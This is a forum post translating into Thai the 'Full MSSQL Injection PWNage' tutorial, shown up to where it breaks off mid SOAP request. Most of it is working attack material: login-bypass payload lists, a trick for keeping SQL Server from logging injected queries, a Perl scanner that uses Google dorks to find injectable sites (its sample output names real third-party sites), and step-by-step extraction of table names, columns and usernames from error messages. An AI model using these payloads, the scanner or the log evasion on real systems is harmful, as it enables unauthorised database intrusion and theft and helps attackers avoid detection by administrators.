Full MSSQL Injection PWNage

2 replies [Last post]
Edkung
Edkung's picture
User offline. Last seen 7 hours 18 min ago. Offline
Joined: 11/29/2009

พอดีไปอ่านแล้วน่าสนใจดี (ละเอียดมักๆ) ก็เลยแปลมาให้อ่านกัน

 

######
Info
######

Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team : CWH Underground [ www.milw0rm.com/author/1456 ]
Website : cwh.citec.us / www.citec.us
Date : 2009-01-28
Translator by : Edkung [ www.rcecode.com ]

 

##########
สารบัญ
##########

[0x00] - แนะนำ

[0x01] - ความรู้เบื้องต้นเกี่ยวกับ SQL Injection

          [0x01a] - พื้นฐานการโจมตีด้วย SQL Injection
          [0x01b] - วิธีทดสอบช่องโหว่ SQL Injection
          [0x01c] - Bypass การ Login ด้วย SQL Injection
          [0x01d] - วิธีหลบเลี่ยงการจัดเก็บ Log
          [0x01e] - (Perl Script) ค้นหาช่องโหว่ SQL Injection ด้วย Google

[0x02] - การโจมตี MSSQL ด้วย SQL Injection

          [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
          [0x02b] - ODBC Error Message Attack with "CONVERT"
          [0x02c] - MSSQL Injection with UNION Attack
          [0x02d] - MSSQL Injection in Web Services (SOAP Injection)

[0x03] - MSSQL Blind SQL Injection Attack

          [0x03a] - วิธีตรวจสอบ Website ที่มีช่องโหว่ในการ Blind SQL Injection
          [0x03b] - ตรวจสอบข้อมูลผ่านการ Blind SQL Injection
          [0x03c] - Exploit Query เพื่อหา Table name
          [0x03d] - Exploit Query เพื่อหา Column name

[0x04] - อันตรายเพิ่มเติมจากการโจมตีด้วย SQL Injection

          [0x04a] - Dangerous from Extended Stored Procedures
          [0x04b] - Advanced SQL Injection Techniques
          [0x04c] - Mass MSSQL Injection Worms

[0x05] - MSSQL Injection Cheat Sheet

[0x06] - SQL Injection Countermeasures

[0x07] - อ้างอิง

[0x08] - พูดคุย

 

#######################
[0x00] - Introduction
#######################

          เอกสารชุดนี้จะแสดงให้เห็นถึงเทคนิคที่ใช้ในการโจมตี Website ผ่านทาง SQL Injection โดยจะเน้นไปที่ MSSQL เท่านั้น ซึ่งแบ่งเป็น 8 ส่วน โดย Section 0x01 - ความรู้เบื้องต้นเกี่ยวกับ SQL Injection, Section 0x02 - รายละเอียดของแต่ละวิธีในการโจมตีผ่าน SQL Injection, Section 0x03 - อธิบายวิธีการหาข้อมูลของเป้าหมายผ่านทาง SQL Injection, Section 0x04 - แสดงให้เห็นอันตรายที่เกิดจาก SQL Injection, Section 0x05 - เอกสารสำหรับ MSSQL Injection, Section 0x06 - วิธีป้องกัน SQL Injection

 

##########################################
[0x01] - ความรู้เบื้องต้นเกี่ยวกับ SQL Injection
##########################################

          พื้นฐานของช่องโหว่ SQL Injection เกิดจากการทำงานของ SQL Command แปลกๆ บน Database Server ซึ่งได้รับมาจากทาง Front End (User Interface, Web From, ฯลฯ) โดย SQL Command ที่ Database Server ได้รับนั้น มักจะทำให้ Database Server ทำงานไม่ถูกต้องหรือให้ผลลัพธ์ที่ทาง Database Server ไม่ได้คาดเอาไว้

 

++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - พื้นฐานการโจมตีด้วย SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++

          การโจมตีด้วย SQL Injection จะเริ่มขึ้นเมื่อมีการอัดฉีด SQL Command ที่เป็นอันตรายลงใน SQL Query โดยจะมีวัตถุประสงค์เพื่อแก้ไขผลของ query
ตัวอย่างเช่น การ Login, Application จะต้อง Add username,password ลงไปใน SQL Query เพื่อส่งให้ Database Server ตรวจสอบว่า username มีอยู่ในระบบ และรหัสผ่านถูกต้องถึงจะ Login สำเร็จ ซึ่งถ้าแทนที่ username ที่ถูกต้องด้วย SQL Command ในบางรูปแบบ เป็น Input จะทำให้สามารถ Login สำเร็จ (ทำ SQL Injection สำเร็จ)

          เมื่ออัดฉีดคำสั่ง SQL ได้สำเร็จ จะสามารถอ่านหรือแก้ไขข้อมูลสำคัญบนฐานข้อมูล (Insert / Update / Delete) และในบางกรณีจะสามารถออกคำสั่งให้กับระบบปฏิบัติการได้อีกด้วย

          Application จะถูกจู่โจมด้วย SQL Injection เมื่อ

                    - User Input ไม่มีการกรอง literal escape character (พวก ', ",;) ที่ฝังใน SQL Statement
                    - User Input ไม่กำหนดเฉพาะเจาะจง เช่น การพิมพ์ตัวหนา อาจจะทำให้เกิด error ที่คาดไม่ถึงได้

          โดยปกติแล้ว SQL Injection จะเกิดกับ Application ในตำแหน่งที่มีการติดต่อฐานข้อมูลซึ่งได้แก่

                    - Authentication forms (Login Pages)
                    - Search forms
                    - E-Commerce sites
                    - Forum / Webboard
                    - Content Manage System (CMS's that use DB),ยกตัวอย่างเช่น:
                    - Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)
                    - Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)
                    - Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01b] - วิธีทดสอบช่องโหว่ SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

          เราต้องทำรายการ Input ทั้งหมดที่ทำให้เกิดการสร้าง SQL Query โดย Input ที่ว่านั้นรวมไปถึง Hidden Fields จาก Post Request ด้วย จากนั้นลองใส่ข้อมูลไปเรื่อยๆ จนกว่า query จะสร้าง Error ขึ้นมา วิธีทดลองง่ายๆ ก็ได้แก่การใส่ ' " หรือ ; ลงใน Input ที่จะทดสอบ

[Simple URL] http://www.example.com/news.asp?id=10
[Test SQLi]  http://www.example.com/news.asp?id=10'

          เราอาจจะพบ Output Error แบบนี้เมื่อเป้าหมายมีช่องโหว่ SQL Injection

[HTTP Response]-----------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------

          Solution ถัดไปจะใช้ OR/AND Operation เพื่อทดสอบช่องโหว่ SQL Injection ถ้า URL ใหม่ที่ได้ที่ต่างจาก URL เดิม สามารถแสดง ข้อมูลทั้งหมดจาก Database จะถือได้ว่านี่เป็นช่องโหว่ SQL Injection อีกจุดหนึ่ง

[Simple URL] http://www.example.com/news.asp?id=2
[output]------------------------------------------------------------------------------------
News: 2
Details: Preventing blind SQL injection attacks, Most security professionals know ...
[End Output]--------------------------------------------------------------------------------

[Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1
[output]------------------------------------------------------------------------------------
News: 1
Details: SQL injection attack infects hundreds of thousands of websites ...
News: 2
Details: Preventing blind SQL injection attacks, Most security professionals know ...
News: 3
Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...
News: 4
Details: New Botnet Malware Spreading SQL injection attack tool ...
[End Output]-------------------------------------------------------------------------------

           เราจะพบบางอย่างที่แตกต่างจาก URL เดิม (มันคือช่องโหว่ในการโจมตีด้วย SQL Injection) โดย Output จะ Return ผลลัพธ์ทั้งหมดจาก Database แต่ทำไมถึงเป็นเช่นนั้น

[ASP_code]
var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
[End ASP_code]

[Final query //id=2]
SELECT * FROM news WHERE id = '2' // It's will return News 2 
[End id=2]

[Final query //id=2' or 'a'='a]	// Testing SQLi Vuln
SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE, So It will return all news (id=1,2,3,...) 
[End id=2' or 'a'='a]

 

++++++++++++++++++++++++++++++++++++++++++++++++++++
 [0x01c] - Bypass การ Login ด้วย SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++

          Section นี้จะกล่าวถึงเทคนิคพื้นฐานในการ Bypass การ Login โดยเมื่อ Database ทำการตรวจสอบการเข้าถึง ผู้โจมตีอาจ Bypass Login ด้วย SQL Injection เหล่านี้

' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x
' or username LIKE '%admin%

USERNAME: ' or 1/*
PASSWORD: */ =1 --

USERNAME: admin' or 'a'='a
PASSWORD: '
[Login ASP_code]----------------------------------------------------------------------------
var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
[End Login ASP_code]------------------------------------------------------------------------

Input:
          formusr = admin
          formpwd = ' or 'a='a
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
[End Code]----------------------------------------------------------------------------------
SQL Condition จะมีค่าเท่ากับ TRUE เสมอ และ Bypass Login Process ได้โดยไม่ต้องรู้ Password (ใช้ password = ' or 'a'='a)

Input:
          formusr = ' or 1=1 --
          formpwd = anything
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
[End Code]---------------------------------------------------------------------------------
** Note **
--                  Comment Operator ของ MSSQL DB ด้านหลังเครื่องหมาย -- จะถือว่าเป็น comment
/*Comment*/         Inline Comment เช่น DROP/*comment*/sampletable

          ถ้า Application รับค่า Username แล้วส่งผลลัพธ์เป็น MD5 ของ Password แล้ว เราสามารถ Union ผลลัพธ์ด้วย MD5 ใหม่ที่เราต้องการได้ด้วย

formusr = admin
formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72

1a1dc91c907325c69271ddf0c944bc72 = MD(pass)

 

+++++++++++++++++++++++++++++
[0x01d] - วิธีหลบเลี่ยงการจัดเก็บ Log
+++++++++++++++++++++++++++++

          เมื่อเราอัดฉีดคำสั่ง SQL ลงไป ทุกๆ คำสั่งจะถูกจัดเก็บไว้ภายใน Log ของ Database ซึ่งนั่นจะทำให้ผู้ดูแลระบบรู้ว่าเกิดอะไรขึ้นกับระบบ ? Section นี้ จะพูดถึงการหลีกเลี่ยงไม่ให้เกิดการสร้าง SQL Log นั่นเอง โดยเราจะใช้ "sp_password"

formusr = ' or 1=1 -- sp_password
formpwd = anything

          SQL Server จะไม่เก็บ Log เมื่อมีการเพิ่ม -- sp_password ลงไปใน query (แน่นอน ยังคงมีการเก็บ Web Server Log ดังนั้นพยายามใช้ Post Method เท่าที่เป็นไปได้แทนการเรียก Get เอาโดยตรง)

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01e] - (Perl Script) ค้นหาช่องโหว่ SQL Injection ด้วย Google
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

          วิธีที่ยอดเยี่ยมในการค้นหาเว็บไซต์ที่มีช่องโหว่ SQL Injection คือ "Google" (ซึ่งจะมีประสิทธิภาพเมื่อใช้กับทุก Search Engine ผ่านทาง IRCbots). เราพัฒนาสคริปต์ Perl ง่ายๆ สำหรับค้นหา SQL Injection Hole (MSSQL, MySQL, MS Access, Oracle) ชื่อ "SQL-Google Search":

#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } 
print "+++++++++++++++++++++++++++++++\n";
print "+  SQL - Google Search  +\n";
print "+    CWH Underground    +\n";
print "+++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = <STDIN> );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = <STDIN> );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{	
  $t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$start;
  $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  $ua->timeout(10);
  $ua->env_proxy;
  $response = $ua->get($t);
  if ($response->is_success)
  {
    $c = $response->content;
    @stuff = split(/<a href=/,$c);
    foreach $line(@stuff)
    {
      if($line =~/(.*) class=l/ig)
      {
        $out = $1;
        $out =~ s/\"//g;
        $out =~s/$/\'/;    
        $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
        $ua->timeout(10);
        $ua->env_proxy;
        $response = $ua->get($out);
        $error = $response->content();
        if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
          {print "$out => Could be Vulnerable in MySQL Injection!!\n";}
        elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
          {print "$out => Could be Vulnerable in MS Access Injection!!\n";}
        elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
          {print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
        elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
          {print "$out => Could be Vulnerable in Oracle Injection!!\n";}
      }
    }
  }
}
[output]------------------------------------------------------------------------------------

+++++++++++++++++++++++++++++++
+     SQL - Google Search     +
+       CWH Underground       +
+++++++++++++++++++++++++++++++

Insert Dork:index.asp?sid=
Total Query Pages (10 Links/Pages) :5

[+] Result:
http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!

[End output]--------------------------------------------------------------------------------

 

############################################
[0x02] - การโจมตี MSSQL ด้วย SQL Injection
############################################

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

          เราสามารถใช้ข้อมูลจาก Error Message ที่สร้างโดย MS SQL Server เพื่อหาข้อมูลทุกอย่างที่เราต้องการได้ โดย

- "GROUP BY" SQL Command สำหรับ จัดข้อมูลการค้นหาเป็นหมวดหมู่ตาม SQL Query
- "HAVING" SQL Command สำหรับ ระบุเงื่อนไขการค้นหาแบบกลุ่ม คำสั่งนี้จะใช้ร่วมกับคำสั่ง "GROUP BY" เสมอ หากมีความผิดพลาด จะมีการส่ง Error กลับมา

           เราสามารถใช้ทั้ง 2 Operation นี้เพื่อหา Table Name และ Column Name โดยเราจะยกตัวอย่างดังนี้ เป้าหมายมี Table ที่ชื่อว่า "news" และภายใน news ประกอบไปด้วย 3 columns ได้แก่ news_id, news_author และ news_detail

ช่องโหว่ : http://www.example.com/page.asp?id=1

[Query]-----------------------------------------------------------------------------
var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";
[End query]-------------------------------------------------------------------------

เราสามารถใส่คำสั่ง "HAVING" เพื่อทำให้เกิด Error Message
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------

จะได้ query
SELECT * FROM news WHERE news_id='1' HAVING 1=1--'

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in 
the select list because it is not contained in an aggreate function and there is no GROUP BY clause. 
------------------------------------------------------------------------------------

          ใน error จะทำให้เรารู้ได้ว่า table name = "news" และมี column อยู่ 1 column ที่มี column name = "news_id" บรรจุอยู่ใน table ซึ่งนี่เป็นข้อผิดพลาดจากการใช้ HAVING โดยไม่มีการใช้ GROUP BY

          นอกจากนี้ เรายังสามารถหา column name จากการใช้ GROUP BY ร่วมกับคำสั่ง HAVING ได้อีกด้วย

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------

จะได้ query
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in 
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------

          เราจะได้ column name ที่ 2 ของ table news = "news_author" และวิธีหา column name ที่ 3 จะหาได้จากการบรรจุ column name ที่ 2 ลงไปใน query

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------

จะได้ query
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in 
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------

          column name 3 = "news_detail" จากนั้นเรานำ news_detail ไปเพิ่มใน query เช่นเดียวกับขั้นตอนด้านบน เพื่อจะหา column name 4 และเมื่อเราใส่ column เพิ่มเข้าไปเรื่อยๆ จนกระทั่งไม่พบ error นั่นหมายความว่าเราได้ column name ทั้งหมดของ table แล้ว

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------

จะได้ query
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'

          จะไม่เกิด error ทำให้เรารู้ว่า table news ประกอบไปด้วย 3 columns ได้แก่ news_id, news_author และ news_detail

 

++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x02b] - ODBC Error Message Attack with "CONVERT"
++++++++++++++++++++++++++++++++++++++++++++++++++++

          MSSQL แสดงข้อมูล error นั้นเป็นประโยชน์ในการเขียนโปรแกรมเพื่อพัฒนาระบบ แต่ขณะเดียวกันมันก็เป็นประโยชน์ต่อ Attacker ด้วยดังเช่น Section ที่ผ่านมา โดยใน Section นี้เราจะบังคับให้เกิด error โดยใช้ "convert" command ซึ่งเป็น Function สำหรับแปลงข้อมูลจากชนิดหนึ่งเป็นอีกชนิดหนึ่ง เมื่อข้อมูลนั้นไม่สามารถแปลงเป็นข้อมูลที่เราต้องการได้ จะทำให้เกิด error ดังตัวอย่าง

ในตัวอย่างนี้ เราจะแสดงวิธีการหา MSSQL_Version, DB_name, User_name
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 
22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) 
' to data type int.
/page.asp, line 9 
------------------------------------------------------------------------------------

          ทำให้รู้ว่า MSSQL_Version = Microsoft SQL Server 2005 - 9.00.3042.00 และใช้ OS = Windows 2003 Server

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------

          จะได้ db_name = "cwhdb"

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9
------------------------------------------------------------------------------------

          Database Server ใช้สิทธิของ 'sa' ในการทำงาน ซึ่งข้อมูลนี้อาจจะช่วยเราได้ในการเรียกใช้ Store Procedure "XP_CMDSHELL"

          ตัวอย่่างถัดไป เราจะแสดงวิธีหา table name, column name และข้อมูลภายใน Database โดยใช้ "convert"

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9 
------------------------------------------------------------------------------------

          "information_shema.tables" เก็บข้อมูลของ table ใน database และมี field ที่เรียกใช้ได้คือ "table_name" ซึ่งจะเก็บ table name แต่ละ table เอาไว้ จาก Error จะทำให้เรารู้ว่า table แรกใน database คือ 'threads' จากนั้นหา table 2 จาก

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9 
------------------------------------------------------------------------------------

          จะได้ table name 2 = 'users' และเช่นเดียวกัน จะหา table name 3 จาก

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------

แต่หากได้รับ Error:
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
------------------------------------------------------------------------------------
หมายความว่า Database มีเพียง 2 table ได้แก่ threads และ users

          เมื่อเราหา table name ทั้งหมดได้แล้วสิ่งที่จะหาถัดไปคือ column name โดยการเปลี่ยน "information_schema.tables" เป็น "information_schema.columns" และจาก "table_name" เป็น "column_name" แต่จะต้องมีการเพิ่ม "table_name" เข้าไปใน WHERE ด้วยเพื่อระบุว่าจะหา column name ของ table ใด

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9 
------------------------------------------------------------------------------------

          เช่นเดียวกับการหา table name เราจะได้ column name 1 ใน table 'users' = "uname" และเช่นเดียวกัน สามารถหา column name ถัดไปโดย

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+
and+column_name+not+in+('uname')))--
[End SQLi]--------------------------------------------------------------------------

และได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9 
------------------------------------------------------------------------------------

          จะได้ column name 2 ใน table 'users' = "upass"

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+
and+column_name+not+in+('uname','upass')))--
[End SQLi]--------------------------------------------------------------------------

ถ้าได้รับ Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9 
------------------------------------------------------------------------------------
แปลว่า table 'users' ยังคงมี column ถัดไป ซึ่งมีชื่อว่า 'email'

แต่หากได้รับ Error:
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10 
------------------------------------------------------------------------------------
หมายความว่าไม่มี column ถัดไปอีกแล้ว หรือหมายถึงเราได้ column ทั้งหมดของ table 'users' แล้วนั่นเอง

           จากนั้นจะเข้าสู่เป้าหมายที่แท้จริงที่ Attacker ต้องการนั่นคือ "ข้อมูล" ซึ่งอันที่จริงแล้วก็ไม่ต่างกับการหา table name, column name ซักเท่าไร เช่น หากเราต้องการข้อมูลของ "uname" ใน table 'users'

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--
[End SQLi]--------------------------------------------------------------------------

Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9 
------------------------------------------------------------------------------------
จะทำให้เรารู้ว่า 'admin' เป็นข้อมูลใน column 'uname' ของ table 'users'

          หากต้องการข้อมูลอื่นใน 'uname' สามารถทำได้โดย

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--
[End SQLi]--------------------------------------------------------------------------

Error:
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9
------------------------------------------------------------------------------------

จากนั้นหา 'uname' อื่นอีก ด้วยการใส่ 'cwh' ลงไป
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--
[End SQLi]--------------------------------------------------------------------------

หากได้รับ Error:
------------------------------------------------------------------------------------
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10 
------------------------------------------------------------------------------------
แปลได้ว่ามีเพียง 2 uname ใน table 'users' (admin, cwh)

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
          Web Service จะใช้ XML Message ตามมาตราฐาน SOAP โดย SOAP จะถูกใช้เสมอกับระบบที่มีขนาดใหญ่ มีองค์ประกอบหลากหลาย ซึ่งบ่อยครั้งจะมีรายละเอียดที่อ่านและหาประโยชน์ได้จาก Service ที่มีอยู่ เช่น

[SOAP Request]------------------------------------------------------------------------------
POST /webservice/service.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetUserInfo"
Host: testcwh.cwh.net
Content-Length: 345
Expect: 100-continue
Connection: Keep-Alive

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfo xmlns="http://tempuri.org/"><username>admin</username><password>1234</password></GetUserInfo></soap:Body></soap:Envelope>
[End Request]-------------------------------------------------------------------------------

           คุณสามารถพบ username(admin) และ password(1234) ที่ส่งไปยัง Server Side กันไหม ? และจะเกิดอะไรขึ้นถ้าใส่ Single Quote (') ลงไป ก่อนที่จะส่งมันไปยัง Server เช่น <username>admin'</username><password>1234</password> จากนั้นใช้ Web Proxy (Burpsuite, Paros Proxy) ดัก SOAP Request, SOAP Response

[SOAP Respond When we inject single quote]--------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 26 Jan 2009 15:45:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1057
Connection: close
X-Junk: xxxxxxxxxxx

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
Incorrect syntax near '81'.
   at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
   at System.Data.OleDb.OleDbDataReader.NextResult()
   at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
   at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
   at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin'' 
   AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></GetUserInfoResult>
   </GetUserInfoResponse></soap:Body></soap:Envelope>
[End Respond]-------------------------------------------------------------------------------

          SOAP Response จะส่ง ODBC error message ออกมา จากนั้นให้จัดการกับ error message เช่นเดียวกับ Section [0x02b] - ODBC Error Message Attack with "CONVERT" โดยการแทนที่ username ใหม่เป็น : admin' and 1=convert(int,@@version)--

[SOAP Request/Respond]----------------------------------------------------------------------
*** Request ***
POST /webservice/service.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetUserInfo"
Host: testcwh.cwh.net
Content-Length: 384

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
